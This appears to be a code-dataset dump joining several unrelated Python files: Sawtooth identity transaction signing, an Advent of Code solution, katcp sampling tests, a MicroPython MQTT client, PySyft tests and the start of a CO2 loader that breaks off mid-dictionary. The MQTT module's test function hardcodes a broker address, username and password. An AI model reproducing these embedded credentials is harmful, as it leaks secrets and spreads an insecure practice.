header = TransactionHeader(
signer_public_key=signer.get_public_key().as_hex(),
family_name='sawtooth_identity',
family_version='1.0',
inputs=[_REQUIRED_INPUT, policy_address, role_address],
outputs=[role_address],
dependencies=[],
payload_sha512=hashlib.sha512(
payload.SerializeToString()).hexdigest(),
batcher_public_key=signer.get_public_key().as_hex(),
nonce=hex(random.randint(0, 2**64)))
header_bytes = header.SerializeToString()
transaction = Transaction(
header=header_bytes,
payload=payload.SerializeToString(),
header_signature=signer.sign(header_bytes))
return transaction
def _read_signer(key_filename):
"""Reads the given file as a hex key.
Args:
key_filename: The filename where the key is stored. If None,
defaults to the default key for the current user.
Returns:
Signer: the signer
Raises:
CliException: If unable to read the file.
"""
filename = key_filename
if filename is None:
filename = os.path.join(os.path.expanduser('~'),
'.dgt',
'keys',
getpass.getuser() + '.priv')
try:
with open(filename, 'r') as key_file:
signing_key = key_file.read().strip()
except IOError as e:
raise CliException('Unable to read key file: {}'.format(str(e)))
try:
private_key = Secp256k1PrivateKey.from_hex(signing_key)
except ParseError as e:
raise CliException('Unable to read key in file: {}'.format(str(e)))
context = create_context('secp256k1')
crypto_factory = CryptoFactory(context)
return crypto_factory.new_signer(private_key)
def _create_batch(signer, transactions):
"""Creates a batch from a list of transactions and a public key, and signs
the resulting batch with the given signing key.
Args:
signer (:obj:`Signer`): The cryptographic signer
transactions (list of `Transaction`): The transactions to add to the
batch.
Returns:
`Batch`: The constructed and signed batch.
"""
txn_ids = [txn.header_signature for txn in transactions]
batch_header = BatchHeader(
signer_public_key=signer.get_public_key().as_hex(),
transaction_ids=txn_ids).SerializeToString()
return Batch(
header=batch_header,
header_signature=signer.sign(batch_header),
transactions=transactions,timestamp=int(time.time()))
def _to_hash(value):
return hashlib.sha256(value.encode()).hexdigest()
def _role_to_address(role_name):
# split the key into 4 parts, maximum
key_parts = role_name.split('.', maxsplit=_MAX_KEY_PARTS - 1)
# compute the short hash of each part
addr_parts = [_to_hash(key_parts[0])[:_FIRST_ADDRESS_PART_SIZE]]
addr_parts += [_to_hash(x)[:_ADDRESS_PART_SIZE] for x in
key_parts[1:]]
# pad the parts with the empty hash, if needed
addr_parts.extend([_EMPTY_PART] * (_MAX_KEY_PARTS - len(addr_parts)))
return IDENTITY_NAMESPACE + _ROLE_PREFIX + ''.join(addr_parts)
def _policy_to_address(policy_name):
return IDENTITY_NAMESPACE + _POLICY_PREFIX + \
_to_hash(policy_name)[:62]
| 34.260586 | 80 | 0.624739 |
795c0e78d098e50fbd8dd6775b2f8fa5e062933a | 390 | py | Python | 2020/2a.py | msullivan/advent-of-code | ba4b0c3e229bca0f632d51d18ad72ecddd2405da | [
"MIT"
] | 8 | 2016-12-01T19:41:50.000Z | 2021-12-21T18:50:55.000Z | 2020/2a.py | msullivan/advent-of-code | ba4b0c3e229bca0f632d51d18ad72ecddd2405da | [
"MIT"
] | null | null | null | 2020/2a.py | msullivan/advent-of-code | ba4b0c3e229bca0f632d51d18ad72ecddd2405da | [
"MIT"
] | 3 | 2018-12-23T06:58:47.000Z | 2021-12-20T10:09:15.000Z | #!/usr/bin/env python3
import sys
def main(args):
data = [s.strip() for s in sys.stdin]
data = [x.split(" ") for x in data]
data = [(x.split('-'), y[0], z) for x,y,z in data]
cnt = 0
for (lo, hi), l, s in data:
n = s.count(l)
if int(lo) <= n <= int(hi):
cnt += 1
print(cnt)
if __name__ == '__main__':
sys.exit(main(sys.argv))
| 16.956522 | 54 | 0.494872 |
795c0eb880187aabb4dd0e66d57a3bca0d18866d | 20,529 | py | Python | katcp/test/test_sampling.py | MESAProductSolutions/katcp-python-rta | 54cbf1c9530035b1eff6fe2b04b4c307aaac4d1d | [
"BSD-3-Clause"
] | null | null | null | katcp/test/test_sampling.py | MESAProductSolutions/katcp-python-rta | 54cbf1c9530035b1eff6fe2b04b4c307aaac4d1d | [
"BSD-3-Clause"
] | null | null | null | katcp/test/test_sampling.py | MESAProductSolutions/katcp-python-rta | 54cbf1c9530035b1eff6fe2b04b4c307aaac4d1d | [
"BSD-3-Clause"
] | null | null | null | # test_sampling.py
# -*- coding: utf8 -*-
# vim:fileencoding=utf8 ai ts=4 sts=4 et sw=4
# Copyright 2009 SKA South Africa (http://ska.ac.za/)
# BSD license - see COPYING for details
"""Tests for the katcp.sampling module.
"""
import unittest2 as unittest
import threading
import time
import logging
import katcp
import mock
import Queue
from katcp.testutils import (
TestLogHandler, DeviceTestSensor, start_thread_with_cleanup)
from katcp import sampling, Sensor
log_handler = TestLogHandler()
logging.getLogger("katcp").addHandler(log_handler)
class TestSampling(unittest.TestCase):
def setUp(self):
"""Set up for test."""
# test sensor
self.sensor = DeviceTestSensor(
Sensor.INTEGER, "an.int", "An integer.", "count",
[-4, 3],
timestamp=12345, status=Sensor.NOMINAL, value=3)
# test callback
def inform(sensor_name, timestamp, status, value):
self.calls.append(sampling.format_inform_v5(
sensor_name, timestamp, status, value) )
self.calls = []
self.inform = inform
def test_sampling(self):
"""Test getting and setting the sampling."""
s = self.sensor
sampling.SampleNone(None, s)
sampling.SampleAuto(None, s)
sampling.SamplePeriod(None, s, 10)
sampling.SampleEvent(None, s)
sampling.SampleDifferential(None, s, 2)
self.assertRaises(ValueError, sampling.SampleNone, None, s, "foo")
self.assertRaises(ValueError, sampling.SampleAuto, None, s, "bar")
self.assertRaises(ValueError, sampling.SamplePeriod, None, s)
self.assertRaises(ValueError, sampling.SamplePeriod, None, s, "0")
self.assertRaises(ValueError, sampling.SamplePeriod, None, s, "-1")
self.assertRaises(ValueError, sampling.SampleEvent, None, s, "foo")
self.assertRaises(ValueError, sampling.SampleDifferential, None, s)
self.assertRaises(ValueError, sampling.SampleDifferential,
None, s, "-1")
self.assertRaises(ValueError, sampling.SampleDifferential,
None, s, "1.5")
sampling.SampleStrategy.get_strategy("none", None, s)
sampling.SampleStrategy.get_strategy("auto", None, s)
sampling.SampleStrategy.get_strategy("period", None, s, "15")
sampling.SampleStrategy.get_strategy("event", None, s)
sampling.SampleStrategy.get_strategy("differential", None, s, "2")
self.assertRaises(ValueError, sampling.SampleStrategy.get_strategy,
"random", None, s)
self.assertRaises(ValueError, sampling.SampleStrategy.get_strategy,
"period", None, s, "foo")
self.assertRaises(ValueError, sampling.SampleStrategy.get_strategy,
"differential", None, s, "bar")
def test_event(self):
"""Test SampleEvent strategy."""
event = sampling.SampleEvent(self.inform, self.sensor)
self.assertEqual(event.get_sampling_formatted(),
('event', []) )
self.assertEqual(self.calls, [])
event.attach()
self.assertEqual(len(self.calls), 1)
self.sensor.set_value(2, status=Sensor.NOMINAL)
self.assertEqual(len(self.calls), 2)
# Test that an update is suppressed if the sensor value is unchanged
self.sensor.set_value(2, status=Sensor.NOMINAL)
self.assertEqual(len(self.calls), 2)
# Test that an update happens if the status changes even if the value is
# unchanged
self.sensor.set_value(2, status=Sensor.WARN)
self.assertEqual(len(self.calls), 3)
def test_differential(self):
"""Test SampleDifferential strategy."""
diff = sampling.SampleDifferential(self.inform, self.sensor, 5)
self.assertEqual(self.calls, [])
diff.attach()
self.assertEqual(len(self.calls), 1)
def test_differential_timestamp(self):
# Test that the timetamp differential is stored correctly as
# seconds. This is mainly to check the conversion of the katcp spec from
# milliseconds to seconds for katcp v5 spec.
time_diff = 4.12 # Time differential in seconds
ts_sensor = Sensor(Sensor.TIMESTAMP, 'ts', 'ts sensor', '')
diff = sampling.SampleDifferential(self.inform, ts_sensor, time_diff)
self.assertEqual(diff._threshold, time_diff)
def test_periodic(self):
"""Test SamplePeriod strategy."""
sample_p = 10 # sample period in seconds
period = sampling.SamplePeriod(self.inform, self.sensor, sample_p)
self.assertEqual(self.calls, [])
period.attach()
self.assertEqual(self.calls, [])
next_p = period.periodic(1)
self.assertEqual(next_p, 1 + sample_p)
self.assertEqual(len(self.calls), 1)
next_p = period.periodic(11)
self.assertEqual(len(self.calls), 2)
self.assertEqual(next_p, 11 + sample_p)
next_p = period.periodic(12)
self.assertEqual(next_p, 12 + sample_p)
self.assertEqual(len(self.calls), 3)
def test_event_rate(self):
"""Test SampleEventRate strategy."""
shortest = 10
longest = 20
patcher = mock.patch('katcp.sampling.time')
mtime = patcher.start()
self.addCleanup(patcher.stop)
time_ = mtime.time
time_.return_value = 1
evrate = sampling.SampleEventRate(
self.inform, self.sensor, shortest, longest)
new_period = mock.Mock()
evrate.set_new_period_callback(new_period)
time_.return_value = 1
self.assertEqual(self.calls, [])
evrate.attach()
# Check initial update
self.assertEqual(len(self.calls), 1)
# Too soon, should not send update
self.sensor.set_value(1)
self.assertEqual(len(self.calls), 1)
# but should have requested a future update at now + shortest-time
new_period.assert_called_once_with(evrate, 11)
new_period.reset_mock()
time_.return_value = 11
next_p = evrate.periodic(11)
self.assertEqual(len(self.calls), 2)
self.assertEqual(new_period.called, False)
evrate.periodic(12)
self.assertEqual(len(self.calls), 2)
self.assertEqual(new_period.called, False)
evrate.periodic(13)
self.assertEqual(len(self.calls), 2)
self.assertEqual(new_period.called, False)
evrate.periodic(31)
self.assertEqual(len(self.calls), 3)
time_.return_value = 32
self.assertEqual(len(self.calls), 3)
time_.return_value = 41
self.sensor.set_value(2)
self.assertEqual(len(self.calls), 4)
def test_differential_rate(self):
difference = 2
shortest = 10
longest = 20
patcher = mock.patch('katcp.sampling.time')
mtime = patcher.start()
self.addCleanup(patcher.stop)
time_ = mtime.time
time_.return_value = 0
drate = sampling.SampleDifferentialRate(
self.inform, self.sensor, difference, shortest, longest)
self.assertEqual(
drate.get_sampling(), sampling.SampleStrategy.DIFFERENTIAL_RATE)
new_period = mock.Mock()
drate.set_new_period_callback(new_period)
self.assertEqual(len(self.calls), 0)
drate.attach()
self.assertEqual(len(self.calls), 1)
# Bigger than `difference`, but too soon
self.sensor.set_value(0)
# Should not have added a call
self.assertEqual(len(self.calls), 1)
# Should have requested a future update at shortest-time
new_period.assert_called_once_with(drate, 10)
new_period.reset_mock()
# call before shortest update period
drate.periodic(7)
# Should not have added a call
self.assertEqual(len(self.calls), 1)
# Call at next period, should call, and schedule a periodic update
# `longest` later
next_p = drate.periodic(10)
self.assertEqual(len(self.calls), 2)
self.assertEqual(next_p, 30)
next_p = drate.periodic(30)
self.assertEqual(len(self.calls), 3)
self.assertEqual(next_p, 50)
# Update with a too-small difference in value, should not send an
# update, nor should it schedule a shortest-time future-update
self.sensor.set_value(-1)
self.assertEqual(len(self.calls), 3)
self.assertEqual(new_period.called, False)
next_p = drate.periodic(50)
self.assertEqual(len(self.calls), 4)
self.assertEqual(next_p, 70)
def test_event_rate_fractions(self):
# Test SampleEventRate strategy in the presence of fractional seconds --
# mainly to catch bugs when it was converted to taking seconds instead of
# milliseconds, since the previous implementation used an integer number
# of milliseconds
shortest = 3./8
longest = 6./8
evrate = sampling.SampleEventRate(self.inform, self.sensor, shortest,
longest)
evrate.set_new_period_callback(mock.Mock())
now = [0]
evrate._time = lambda: now[0]
evrate.attach()
self.assertEqual(len(self.calls), 1)
now[0] = 0.999*shortest
self.sensor.set_value(1)
self.assertEqual(len(self.calls), 1)
now[0] = shortest
self.sensor.set_value(1)
self.assertEqual(len(self.calls), 2)
next_time = evrate.periodic(now[0] + 0.99*shortest)
self.assertEqual(len(self.calls), 2)
self.assertEqual(next_time, now[0] + longest)
class FakeEvent(object):
def __init__(self, time_source, wait_called_callback=None, waited_callback=None):
self._event = threading.Event()
self._set = False
self._set_lock = threading.Lock()
self.wait_called_callback = wait_called_callback
self.waited_callback = waited_callback
self._time_source = time_source
def set(self):
with self._set_lock:
self._set = True
self.break_wait()
def clear(self):
with self._set_lock:
self._set = False
self._event.clear()
def isSet(self):
return self._set
is_set = isSet
def wait(self, timeout=None):
if self.wait_called_callback:
self.wait_called_callback(timeout)
start_time = self._time_source()
if not self._set and (timeout is None or timeout >= 0):
self._event.wait()
with self._set_lock:
if not self._set:
self._event.clear()
isset = self._set
now = self._time_source()
if self.waited_callback:
self.waited_callback(start_time, now, timeout)
return isset
def break_wait(self):
self._event.set()
class TestReactorIntegration(unittest.TestCase):
def setUp(self):
"""Set up for test."""
# test sensor
# self._print_lock = threading.Lock()
self._time_lock = threading.Lock()
self._next_wakeup = 1e99
self.wake_waits = Queue.Queue()
self.sensor = DeviceTestSensor(
Sensor.INTEGER, "an.int", "An integer.", "count",
[-4, 3],
timestamp=12345, status=Sensor.NOMINAL, value=3)
# test callback
self.inform_called = threading.Event()
def inform(sensor_name, timestamp, status, value):
self.inform_called.set()
self.calls.append((self.time(),
(sensor_name, float(timestamp), status, value)) )
def next_wakeup_callback(timeout):
with self._time_lock:
if timeout is not None:
next_wake = self.time() + timeout
self._next_wakeup = min(self._next_wakeup, next_wake)
else:
self._next_wakeup = 1e99
self.wake_waits.put(timeout)
def waited_callback(start, end, timeout):
# A callback that updates 'simulated time' whenever wake.wait() is
# called
with self._time_lock:
self._next_wakeup = 1e99
# test reactor
self.reactor = sampling.SampleReactor()
# Patch time.time so that we can lie about time.
self.time_patcher = mock.patch('katcp.sampling.time')
mtime = self.time_patcher.start()
self.addCleanup(self.time_patcher.stop)
self.time = mtime.time
self.start_time = self.time.return_value = 0
# Replace the reactor wake Event with a time-warping mock Event
self.reactor._wakeEvent = self.wake = wake = FakeEvent(
self.time, next_wakeup_callback, waited_callback)
start_thread_with_cleanup(self, self.reactor)
# Wait for the event loop to reach its first wake.wait()
self.wake_waits.get(timeout=1)
self.calls = []
self.inform = inform
def _add_strategy(self, strat, wait_initial=True):
# Add strategy to test reactor while taking care to mock time.time as
# needed, and waits for the initial update (all strategies except None
# should send an initial update)
self.reactor.add_strategy(strat)
if wait_initial:
self.inform_called.wait(1)
self.inform_called.clear()
self.wake_waits.get(timeout=1)
def timewarp(self, jump, wait_for_waitstate=True, event_to_await=None):
"""
Timewarp simulation time by `jump` seconds
Arguments
---------
jump: float
Number of seconds to time-warp by
wait_for_waitstate: bool, default True
Wait until the simulated loop again enters a wait state that times
out beyond the current time-warp end-time. Will wake up the simulated
loop as many times as necessary.
event_to_await: Event or None, default None
If an Event object is passed, wait for it to be set after
time-warping, and then clear it.
"""
start_time = self.time.return_value
end_time = start_time + jump
while end_time >= self._next_wakeup:
with self._time_lock:
self.time.return_value = self._next_wakeup
self.wake.break_wait()
if wait_for_waitstate:
wait_timeout = self.wake_waits.get(timeout=1)
else:
break
if event_to_await:
event_to_await.wait(1)
event_to_await.clear()
with self._time_lock:
self.time.return_value = end_time
def test_periodic(self):
"""Test reactor with periodic sampling."""
period = 10.
no_periods = 5
period_strat = sampling.SamplePeriod(self.inform, self.sensor, period)
self._add_strategy(period_strat)
for i in range(no_periods):
self.timewarp(period, event_to_await=self.inform_called)
self.reactor.remove_strategy(period_strat)
call_times = [t for t, vals in self.calls]
self.assertEqual(len(self.calls), no_periods + 1)
self.assertEqual(call_times,
[self.start_time + i*period
for i in range(no_periods + 1)])
def test_event_rate(self):
max_period = 10.
min_period = 1.
event_rate_strat = sampling.SampleEventRate(
self.inform, self.sensor, min_period, max_period)
self._add_strategy(event_rate_strat)
no_max_periods = 3
# Do some 'max period' updates where the sensor has not changed
for i in range(no_max_periods):
self.timewarp(max_period, event_to_await=self.inform_called)
call_times = [t for t, vals in self.calls]
self.assertEqual(len(self.calls), no_max_periods + 1)
self.assertEqual(call_times,
[self.start_time + i*max_period
for i in range(no_max_periods + 1)])
del self.calls[:]
# Now do a sensor update without moving time along, should not result in
# any additional updates
update_time = self.time()
expected_send_time = update_time + min_period
self.sensor.set_value(2, self.sensor.NOMINAL, update_time)
# There should, however, be a wake-wait event
self.wake_waits.get(timeout=1)
self.assertEqual(len(self.calls), 0)
# Timewarp less than min update period, should not result in an inform
# callback
self.timewarp(min_period*0.6)
# Move time beyond minimum step
self.timewarp(min_period*1.01, event_to_await=self.inform_called)
self.assertEqual(len(self.calls), 1)
self.assertEqual(self.calls,
[(expected_send_time,
(self.sensor.name, update_time, 'nominal', '2'))])
# Should not be any outstanding wake-waits
self.assertEqual(self.wake_waits.qsize(), 0)
del self.calls[:]
# Time we expect the next max-period sample
expected_send_time += max_period
# Timewarp past the next expected max-period sample time
self.timewarp(max_period + min_period*0.01,
event_to_await=self.inform_called)
self.assertEqual(len(self.calls), 1)
self.assertEqual(self.calls[0][0], expected_send_time)
self.reactor._debug_now = False
self.reactor.remove_strategy(event_rate_strat)
def test_differential_rate(self):
max_period = 10.
min_period = 1.
difference = 2
differential_rate_strat = sampling.SampleDifferentialRate(
self.inform, self.sensor, difference, min_period, max_period)
self._add_strategy(differential_rate_strat)
no_max_periods = 3
# Do some 'max period' updates where the sensor has not changed
for i in range(no_max_periods):
self.timewarp(max_period, event_to_await=self.inform_called)
call_times = [t for t, vals in self.calls]
self.assertEqual(len(self.calls), no_max_periods + 1)
self.assertEqual(call_times,
[self.start_time + i*max_period
for i in range(no_max_periods + 1)])
del self.calls[:]
# Now do a sensor update by more than `difference` without moving time
# along, should not result in any additional updates
update_time = self.time()
expected_send_time = update_time + min_period
# Intial value = 3, difference = 2, 3-2 = 1, but sensor must differ by
# _more_ than difference, so choose 0
self.sensor.set_value(0, self.sensor.NOMINAL, update_time)
# There should, however, be a wake-wait event
self.wake_waits.get(timeout=1)
self.assertEqual(len(self.calls), 0)
# Timewarp less than min update period, should not result in an inform
# callback
self.timewarp(min_period*0.6)
self.assertEqual(len(self.calls), 0)
# Move time beyond minimum step
self.timewarp(min_period*1.01, event_to_await=self.inform_called)
self.assertEqual(len(self.calls), 1)
self.assertEqual(self.calls,
[(expected_send_time,
(self.sensor.name, update_time, 'nominal', '0'))])
# Should not be any outstanding wake-waits
self.assertEqual(self.wake_waits.qsize(), 0)
del self.calls[:]
# Do a sensor update by less than `difference`
self.sensor.set_value(1, self.sensor.NOMINAL, update_time)
# Time we expect the next max-period sample
expected_send_time += max_period
update_time = self.time()
# Move time beyond minimum step, should not send an update, since the
# sensor changed by less than `difference`
self.timewarp(min_period*1.1)
# Timewarp past the next expected max-period sample time
self.timewarp(max_period - min_period,
event_to_await=self.inform_called)
self.assertEqual(len(self.calls), 1)
self.assertEqual(self.calls[0][0], expected_send_time)
self.reactor._debug_now = False
self.reactor.remove_strategy(differential_rate_strat)
| 36.463588 | 85 | 0.622047 |
795c0ef2391b0728df23a06676d275e8c96310d5 | 14,419 | py | Python | src/mqtt/user_mqtt.py | winkste/mp32_generic | 4231ac4a1c63a7479b79a5693516e3e86a1b8c69 | [
"MIT"
] | null | null | null | src/mqtt/user_mqtt.py | winkste/mp32_generic | 4231ac4a1c63a7479b79a5693516e3e86a1b8c69 | [
"MIT"
] | null | null | null | src/mqtt/user_mqtt.py | winkste/mp32_generic | 4231ac4a1c63a7479b79a5693516e3e86a1b8c69 | [
"MIT"
] | 2 | 2020-11-03T08:54:28.000Z | 2021-05-27T13:28:17.000Z | ################################################################################
# filename: user_mqtt.py
# date: 07. Oct. 2020
# username: winkste
# name: Stephan Wink
# description: This module controls the MQTT client and the subscriptions to it
#
################################################################################
################################################################################
# Imports
from umqtt.simple import MQTTClient
from umqtt.simple import MQTTException
from time import sleep
from src.mqtt.user_subs import UserSubs
from src.mqtt.user_subs import set_mqtt_subscribe_cb
from src.mqtt.user_subs import set_mqtt_unsubscribe_cb
from src.mqtt.user_pubs import UserPubs
from src.mqtt.user_pubs import set_mqtt_publish_cb
import src.utils.trace as T
################################################################################
# Variables
# client object singleton
client = None
################################################################################
# Functions
################################################################################
# @brief Main function to test and demonstrate the mqtt functionality
# @return none
################################################################################
def main():
T.trace(__name__, T.INFO, 'mqtt client test script')
T.trace(__name__, T.INFO, 'connect to broker')
start_mqtt_client('umqtt_client', '192.168.178.45', 1883, 'winkste', 'sw10950')
T.trace(__name__, T.INFO, 'send 1st test publications')
publish('std/dev102/s/test', 'test1')
publish('std/dev102/s/test', 'test2')
publish('std/dev102/s/test', 'test3')
T.trace(__name__, T.INFO, 'soft restart mqtt client')
restart()
T.trace(__name__, T.INFO, 'send 2nd test publications')
publish('std/dev102/s/test', 'test4')
publish('std/dev102/s/test', 'test5')
publish('std/dev102/s/test', 'test6')
T.trace(__name__, T.INFO, 'stop mqtt client')
stop_mqtt_client()
################################################################################
# @brief Initializes the mqtt client and connects to the mqtt broker
# @param id client id
# @param ip broker ip address
# @param port broker ip port
# @param user broker user identifier
# @param pwd broker user password
# @return none
################################################################################
def start_mqtt_client(id, ip, port, user, pwd):
global client
client = UserMqtt(id, ip, port, user, pwd)
try:
client.set_callback(subs_callback)
client.connect()
set_mqtt_subscribe_cb(subscribe)
set_mqtt_unsubscribe_cb(unsubscribe)
set_mqtt_publish_cb(publish)
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client allocation failed...')
except MQTTException:
T.trace(__name__, T.ERROR, 'mqtt connection error...')
################################################################################
# @brief Stops the mqtt client and disconnects from the mqtt broker
# @return none
################################################################################
def stop_mqtt_client():
global client
try:
client.disconnect()
client = None
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client allocation failed...')
except MQTTException:
T.trace(__name__, T.ERROR, 'mqtt connection error...')
################################################################################
# @brief using the mqtt client singleton, this function publishes a messsage
# @param topic topic identifier of the messsage
# @param payload payload of the message
# @return none
################################################################################
def publish(topic, payload):
global client
byte_topic = topic.encode('utf-8')
byte_payload = payload.encode('utf-8')
try:
client.publish(byte_topic, byte_payload)
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client not allocated...')
except OSError:
T.trace(__name__, T.ERROR, 'mqtt connection error in publish...')
################################################################################
# @brief Callback function for incoming subscriptions
# @param topic topic identifier of the messsage
# @param payload payload of the message
# @return none
################################################################################
def subs_callback(topic, data):
topic_string = topic.decode('utf-8')
data_string = data.decode('utf-8')
T.trace(__name__, T.DEBUG, 'Topic received:' + topic_string)
T.trace(__name__, T.DEBUG, 'Data received:' + data_string)
client.check_subscriptions(topic_string, data_string)
################################################################################
# @brief This function subscribes for a topic and registers a callback
# function to be called when the topic arrives
# @param user_subs user subscription
# @return none
################################################################################
def subscribe(user_subs):
global client
try:
client.subscribe(user_subs)
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client not allocated...')
except OSError:
T.trace(__name__, T.ERROR, 'mqtt connection error in subscribe...')
################################################################################
# @brief This function unsubscribes for a topic
# @param user_subs user subscription
# @return none
################################################################################
def unsubscribe(user_subs):
global client
try:
client.unsubscribe(user_subs)
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client not allocated...')
except OSError:
T.trace(__name__, T.ERROR, 'mqtt connection error in unsubscribe...')
################################################################################
# @brief This function prints all registered subsciptions
# @return none
################################################################################
def print_all_subscriptions():
global client
client.print_all_subscriptions()
################################################################################
# @brief This function checks non blocking for an MQTT incoming message
# and processes it
# @return True if execution was successful, else False
################################################################################
def check_non_blocking_for_msg():
global client
try:
client.check_non_blocking_for_msg()
return True
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client not allocated...')
return False
except OSError:
T.trace(__name__, T.ERROR, 'mqtt connection error in check_non_blocking_for_msg...')
return(restart())
#return False
################################################################################
# @brief This function restarts the MQTT client
# @return True if execution was successful, else False
################################################################################
def restart():
global client
try:
#resque subscriptions from old client
subs = client.get_subscriptions()
id = client.client_id
ip = client.broker_ip
port = client.broker_port
user = client.broker_user
pwd = client.broker_pwd
# stop the client
stop_mqtt_client()
# start the client
start_mqtt_client(id, ip, port, user, pwd)
#re-subscribe resqued topics
for obj in subs:
subscribe(obj)
return True
except AttributeError:
T.trace(__name__, T.ERROR, 'mqtt client not allocated...')
return False
except OSError:
T.trace(__name__, T.ERROR, 'mqtt connection error in restart...')
return False
################################################################################
# Classes
################################################################################
# @brief This class handles the mqtt connection and organizes all
# registered subscriptions
################################################################################
class UserMqtt:
############################################################################
# Member Attributes
client_id = ''
broker_ip = ''
broker_port = ''
broker_user = ''
broker_pwd = ''
subscriptions = []
mqtt_client = None
subs_cb = None
############################################################################
# Member Functions
############################################################################
# @brief initializes the mqtt client
# @param client_id client id
# @param broker_ip broker ip address
# @param broker_port broker ip port
# @param user_account broker user identifier
# @param user_pwd broker user password
# @return none
############################################################################
def __init__(self, client_id, broker_ip, broker_port, user_account,
user_pwd):
self.client_id = client_id
self.broker_ip = broker_ip
self.broker_port = broker_port
self.broker_user = user_account
self.broker_pwd = user_pwd
self.mqtt_client = MQTTClient(self.client_id, self.broker_ip,
self.broker_port, self.broker_user,
self.broker_pwd)
############################################################################
# @brief Connects the configured client with the mqtt broker
# @return none
############################################################################
def connect(self):
self.mqtt_client.connect()
############################################################################
# @brief Disconnects the configured client from the mqtt broker
# @return none
############################################################################
def disconnect(self):
self.mqtt_client.disconnect()
############################################################################
# @brief This function sets the subscription callback function
# @param subs_cb subscription callback function
# @return none
############################################################################
def set_callback(self, subs_cb):
self.subs_cb = subs_cb
self.mqtt_client.set_callback(self.subs_cb)
############################################################################
# @brief This function publishes a MQTT message if the client is
# connected to a broker
# @param topic topic identifier of the messsage
# @param payload payload of the message
# @return none
############################################################################
def publish(self, topic, payload):
self.mqtt_client.publish(topic, payload)
############################################################################
# @brief This function subscribes for a topic message and registers a
# callback function
# @param user_subs user subscription object including the topic and
# callback
# @return none
############################################################################
def subscribe(self, user_subs):
self.subscriptions.append(user_subs)
self.mqtt_client.subscribe(user_subs.topic)
############################################################################
# @brief This function unsubscribes for a topic message
# @param user_subs user subscription object including the topic and
# callback
# @return none
############################################################################
def unsubscribe(self, user_subs):
for obj in self.subscriptions:
if user_subs.topic == obj.topic:
self.subscriptions.remove(obj)
############################################################################
# @brief This function subscribes for a topic message and registers a
# callback function
# @param topic topic identifier of the messsage
# @param cb_func callback function when topic arrives
# @return none
############################################################################
def check_subscriptions(self, topic, payload):
for obj in self.subscriptions:
if topic == obj.topic:
obj.callback_on_arrived_topic(topic, payload)
############################################################################
# @brief This function returns all subscriptions to a new list
# @return Returns a list of subscriptions
############################################################################
def get_subscriptions(self):
subscriptions = []
for obj in self.subscriptions:
subscriptions.append(obj)
return subscriptions
############################################################################
# @brief This function prints all registered subsciptions
# @return none
############################################################################
def print_all_subscriptions(self):
for obj in self.subscriptions:
T.trace(__name__, T.DEBUG, obj.topic)
############################################################################
# @brief Checks non blocking if any incoming subscriptions need to be
# processed
# @return none
############################################################################
def check_non_blocking_for_msg(self):
self.mqtt_client.check_msg()
################################################################################
# Scripts
T.configure(__name__, T.INFO)
if __name__ == "__main__":
main()
| 40.276536 | 92 | 0.463555 |
795c0f63634a3b774cef111c8f29100042aef86b | 1,244 | py | Python | test/generic/frameworks/test_attributes.py | sparkingdark/PySyft | 8fec86803dd20ca9ad58590ff0d16559991f1b08 | [
"Apache-2.0"
] | 3 | 2020-09-23T14:09:09.000Z | 2020-09-23T19:26:28.000Z | test/generic/frameworks/test_attributes.py | sparkingdark/PySyft | 8fec86803dd20ca9ad58590ff0d16559991f1b08 | [
"Apache-2.0"
] | null | null | null | test/generic/frameworks/test_attributes.py | sparkingdark/PySyft | 8fec86803dd20ca9ad58590ff0d16559991f1b08 | [
"Apache-2.0"
] | 1 | 2021-03-28T15:11:22.000Z | 2021-03-28T15:11:22.000Z | import pytest
import torch as th
from syft.test import my_awesome_computation
from syft.generic.utils import remote
@pytest.mark.parametrize("return_value", [True, False])
def test_remote(workers, return_value):
alice = workers["alice"]
x = th.tensor([1.0])
expected = my_awesome_computation(x)
p = x.send(alice)
args = (p,)
results = remote(my_awesome_computation, location=alice)(
*args, return_value=return_value, return_arity=2
)
if not return_value:
results = tuple(result.get() for result in results)
assert results == expected
@pytest.mark.parametrize("return_value", [True, False])
def test_remote_wrong_arity(workers, return_value):
"""
Identical to test_remote except the use didn't set return_arity to
be the correct number of return values.
Here it should be 2, not 1.
"""
alice = workers["alice"]
x = th.tensor([1.0])
expected = my_awesome_computation(x)
p = x.send(alice)
args = (p,)
results = remote(my_awesome_computation, location=alice)(
*args, return_value=return_value, return_arity=1
)
if not return_value:
results = tuple(result.get() for result in results)
assert results == expected
| 25.387755 | 70 | 0.68328 |
795c11f28cb71265d950ca959124000a6f0a647f | 33 | py | Python | __init__.py | spake/astrometry.net | 12c76f4a44fe90a009eeb962f2ae28b0791829b8 | [
"BSD-3-Clause"
] | null | null | null | __init__.py | spake/astrometry.net | 12c76f4a44fe90a009eeb962f2ae28b0791829b8 | [
"BSD-3-Clause"
] | null | null | null | __init__.py | spake/astrometry.net | 12c76f4a44fe90a009eeb962f2ae28b0791829b8 | [
"BSD-3-Clause"
] | null | null | null | __version__ = '0.78-4-g57ada2a6'
| 16.5 | 32 | 0.727273 |
795c121898277a0d44d4fe32f623298ef735ae55 | 2,608 | py | Python | combined/load_CO2_data.py | jbonifield3/Climate-Visualization | 629ec3a67cf56efc09298eb99f2867b399213b35 | [
"MIT"
] | null | null | null | combined/load_CO2_data.py | jbonifield3/Climate-Visualization | 629ec3a67cf56efc09298eb99f2867b399213b35 | [
"MIT"
] | null | null | null | combined/load_CO2_data.py | jbonifield3/Climate-Visualization | 629ec3a67cf56efc09298eb99f2867b399213b35 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
CO2 load class for CSE
project
By: D. CARVALLO
"""
import pandas as pd
states = {
'Alabama': 'AL',
'Alaska': 'AK',
'Arizona': 'AZ',
'Arkansas': 'AR',
'California': 'CA',
'Colorado': 'CO',
'Connecticut': 'CT',
'Delaware': 'DE',
'Florida': 'FL',
'Georgia': 'GA',
'Hawaii': 'HI',
'Idaho': 'ID',
'Illinois': 'IL',
'Indiana': 'IN',
'Iowa': 'IA',
'Kansas': 'KS',
'Kentucky': 'KY',
'Louisiana': 'LA',
'Maine': 'ME',
'Maryland': 'MD',
'Massachusetts': 'MA',
'Michigan': 'MI',
'Minnesota': 'MN',
'Mississippi': 'MS',
'Missouri': 'MO',
'Montana': 'MT',
'Nebraska': 'NE',
'Nevada': 'NV',
